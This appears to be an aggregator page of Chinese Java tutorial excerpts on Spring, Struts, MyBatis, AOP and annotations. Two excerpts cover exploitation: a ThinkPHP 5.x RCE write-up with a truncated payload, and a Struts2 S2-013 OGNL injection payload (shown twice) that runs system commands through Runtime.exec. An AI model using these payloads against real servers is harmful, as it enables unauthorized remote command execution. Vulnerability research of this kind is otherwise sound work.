Apache Struts

Spring+SpringMVC+MyBatis企业级应用

时光怂恿深爱的人放手 提交于 2020-05-06 09:48:44
[TOC] 古老的SSM企业级应用 Author:SimpleWu 目前Spring+SpringMVC+Mybatis也算是一套非常流行的配套开发框架。 spring核心ioc、aop技术,ioc解耦,使得代码复用,可维护性大幅度提升,aop提供切面编程,同样的增强了生产力。提供了对其他优秀开源框架的集成支持 spring mvc是对比struts2等mvc框架来说的,不说struts2爆出的那么多安全漏洞,而且是类拦截,所有Action变量共享,同时是filter入口的,而spring mvc是方法拦截,controller独享request response数据,采用的serlvet入口,与spring无缝对接。开发而言,spring mvc更加轻量和低入门。 mybatis轻量级半自动化框架,sql由开发者编写可对语句进行调优,并且mybatis使用XML方式JAVA代码与SQL可以解耦并且支持动态SQL语句,学习成本低。 框架搭建步骤 导包 导入Spring+SpringMVC(如果不会选全倒进去就行了) 导入mybatis包(如果需要用到日志可将mybatis依赖包导入) 导入mybatis-spring-1.3.1.jar(整合必须又这个包) 导入c3p0(当然你也可以使用其他连接池) 导入数据库驱动 配置log4j.properties

SSH(Spring+Struts+Hibernate)实现的简单CRUD案例

血红的双手。 提交于 2020-05-05 20:59:16
一、啥是SSH(Spring+Struts+Hibernate) 在这里就不多解释,直接百度了一下SSH的解释,此篇主要结合SSH来完成一个简单的CRUD项目。 百度一下 :SSH在J2EE项目中表示了3种框架,即 Spring + Struts +Hibernate。 Struts对Model,View和Controller都提供了对应的组件。Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。 Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,可以应用在任何使用JDBC的场合,可以在Servlet/JSP的Web应用中使用,也可以在应用EJB的J2EE架构中取代CMP,完成数据持久化的重任。 二、开始我们的项目 项目结构 2.1、pom.xml <? xml version="1.0" encoding="UTF-8" ?> < project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi

Spring从入门到入土——概述以及IOC理论推导

会有一股神秘感。 提交于 2020-05-05 19:51:44
Spring 概述以及IOC理论推导 Spring 概述 优点 组成 IoC基础 IoC本质 相关文章: 跟着官网学spring—快速入门指南 跟着官网学Spring—构建RESTful Web服务 Spring 概述 优点 Spring是一个开源免费的框架、容器 Spring是一个轻量级的框架、非侵入式的 控制反转Ioc、面向切面Aop 对事务的支持以及对框架的支持 总之: spring是一个轻量级的控制反转(Ioc)和面向切面(AOP)的容器(框架)。 组成 组成Spring框架的每个模块都可以单独存在,或者与其他一个或多个模块联合实现: 核心容器:核心容器提供Spring框架的基本功能,主要组件是BeanFactory,是工厂模式的实现。其BeanFactory使用控制反转(IOC)模式将应用程度的配置和依赖性规范与实际的应用程序代码分开 Spring上下文:是一个配置文件,向Spring框架提供上下文信息。主要包括:企业服务,例如JNDI、EJB、电子邮件、国际化、校验和调度功能 Spring AOP:通过配置管理特性,将面向切面的编程功能,集成到了Spring框架中,所以可以很方面的使Spring框架管理任何支持AOP的对象。也为基于Spring的应用程序中的对象提供了事务管理服务。使用SpringAOP可以不依赖组件,就可以将声明性事务管理集成到应用程序中。

ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞

柔情痞子 提交于 2020-05-04 03:30:46
ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程代码执行漏洞 作者:SoulCat. 来源:CSDN 原文:https://blog.csdn.net/csacs/article/details/86668057 版权声明:本文为博主原创文章,转载请附上博文链接! 漏洞概述: ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。借鉴Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日发布两个更新,这几次更新都修复了远程代码执行漏洞,对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。 漏洞版本: 5.0.x 5.1.x 5.2.x 漏洞搭建: 利用vulhub漏洞平台(简单粗暴,可一键生成漏洞!)进行快速搭建,cd 到thinkphp目录,任意选择一个版本,然后docker-compose up -d 5.1.x之后,必须在本地搭建,vulhub未提供。 如图所示搭建成功,走起! 漏洞复现: 分两个版本5.0.x和5.1.x、5.2.x,分别验证。 1.版本5.0.x 将控制的url参数s的设置为captcha,并且设置post数据:_method=__construct&filter=system&method

Spring Aop、拦截器、过滤器的区别

廉价感情. 提交于 2020-05-04 02:44:43
Filter过滤器:拦截web访问url地址。 Interceptor拦截器:拦截以 .action结尾的url,拦截Action的访问。 Spring AOP拦截器:只能拦截Spring管理Bean的访问(业务层Service) ---------------------------------------------------------------------------- Spring AOP Spring AOP,是AOP的一种实现,使用的是代理模式。 Filter Filter(过滤器)是J2EE的规范,Servlet2.3开始引入/实现的是职责链模式。Filter可以用来设置字符集、控制权限、控制转向等等。Filter也是AOP的一种实现。 Interceptor Interceptor (拦截器),是Struct2中的概念。同样是AOP的一种实现。 Filter与Interceptor联系与区别 1. 拦截器是基于java的反射机制,使用代理模式,而过滤器是基于函数回调。 2. 拦截器不依赖servlet容器,过滤器依赖于servlet容器。 3. 拦截器只能对action起作用,而过滤器可以对几乎所有的请求起作用(可以保护资源)。 4. 拦截器可以访问action上下文,堆栈里面的对象,而过滤器不可以。
 5. 执行顺序:过滤前-拦截钱-Action处理-拦截后

java之拦截器Interceptor

北战南征 提交于 2020-05-04 01:56:33
1,拦截器的概念 java里的拦截器是动态拦截Action调用的对象,它提供了一种机制可以使开发者在一个Action执行的前后执行一段代码,也可以在一个Action 执行前阻止其执行,同时也提供了一种可以提取Action中可重用部分代码的方式。在AOP中,拦截器用于在某个方法或者字段被访问之前,进行拦截 然后再之前或者之后加入某些操作。目前,我们需要掌握的主要是Spring的拦截器,Struts2的拦截器不用深究,知道即可。 2,拦截器的原理 大部分时候,拦截器方法都是通过代理的方式来调用的。Struts2的拦截器实现相对简单。当请求到达Struts2的ServletDispatcher时,Struts2 会查找配置文件,并根据配置实例化相对的拦截器对象,然后串成一个列表(List),最后一个一个的调用列表中的拦截器。Struts2的拦截器是可 插拔的,拦截器是AOP的一个实现。Struts2拦截器栈就是将拦截器按一定的顺序连接成一条链。在访问被拦截的方法或者字段时,Struts2拦截器链 中的拦截器就会按照之前定义的顺序进行调用。 3,自定义拦截器的步骤 第一步:自定义一个实现了Interceptor接口的类,或者继承抽象类AbstractInterceptor。 第二步:在配置文件中注册定义的拦截器。 第三步:在需要使用Action中引用上述定义的拦截器

刚下飞机——Alpha冲刺Day3

回眸只為那壹抹淺笑 提交于 2020-05-03 16:49:09
Alpha冲刺 Day3 这个作业属于哪个课程 2020春|W班 这个作业要求在哪里 团队作业第五次——站立式会议+alpha冲刺 团队名称 刚下飞机 这个作业的目标 记录站立时会议 作业正文 刚下飞机——Alpha冲刺Day3 其他参考文献 CSDN 《构建之法》 每个成员 组员 昨日进展 存在问题 今日计划 卓晓鑫 检测了发布问题部分 代码注释缺漏 检测查看回答部分的代码规范 张春翔 完成web移动端发布回答页面,后端相应功能bug修复 对页面异常情况的处理不够完善 完成web移动端查看问题页面 池政涛 发布评论的Service部分 对数据结构不太熟练应用 完成查看回答的相关DAO层的编写 胡海江 完成发布回答和评论的Action部分 和Service的接口没有沟通好 完成查看回答的Service 朱凯文 完成主页和收藏界面 图标的css使用不熟练 完成搜索结果界面 张庭博 配置struts.xml和action的bug修复 对action不够熟练 完成查看回答的action 郭秋中 完成发布回答service 连接数据库失败 配置查看回答struct文件 郭福强 完成了对回答问题和具体问题的最终调整 富文本的大小比例还没有调整的特别好 完成发布问题功能 站立式会议 燃尽图 项目进展 完成查看回答功能 问题困难 有些同学对整体框架理解不足,代码编写较慢 心得体会

Struts2漏洞利用

試著忘記壹切 提交于 2020-05-03 16:33:37
Struts漏洞合集 Struts-S2-013漏洞利用 受影响版本 Struts 2.0.0 - Struts 2.3.14.1 漏洞利用 任意命令执行POC: ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())} 或着 ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())} 如: http://your-ip:8080/link.action?a=%24%7B

Struts2漏洞利用

删除回忆录丶 提交于 2020-05-03 16:29:48
Struts漏洞合集 Struts-S2-013漏洞利用 受影响版本 Struts 2.0.0 - Struts 2.3.14.1 漏洞利用 任意命令执行POC: ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())} 或着 ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())} 如: http://your-ip:8080/link.action?a=%24%7B

java 注解annotation的使用,以及反射如何获取注解

左心房为你撑大大i 提交于 2020-05-02 15:06:12
一、注解基本知识 1、元注解 元注解是指注解的注解。包括 @Retention @Target @Document @Inherited四种。 1. Annotation型定义为@interface, 所有的Annotation会自动继承java.lang.Annotation这一接口,并且不能再去继承别的类或是接口. 2. 参数成员只能用public或默认(default)这两个访问权修饰 3. 参数成员只能用基本类型byte,short,char,int,long,float,double,boolean八种基本数据类型和String、Enum、Class、annotations等数据类型,以及这一些类型的数组. 4. 要获取类方法和字段的注解信息,必须通过Java的反射技术来获取 Annotation对象,因为你除此之外没有别的获取注解对象的方法 5. 注解也可以没有定义成员, 不过这样注解就没啥用了 自定义注解类时, 可以指定目标 (类、方法、字段, 构造函数等) , 注解的生命周期(运行时,class文件或者源码中有效), 是否将注解包含在javadoc中及是否允许子类继承父类中的注解, 具体如下: 1. @Target 表示该注解目标,可能的 ElemenetType 参数包括: ElemenetType.CONSTRUCTOR 构造器声明 ElemenetType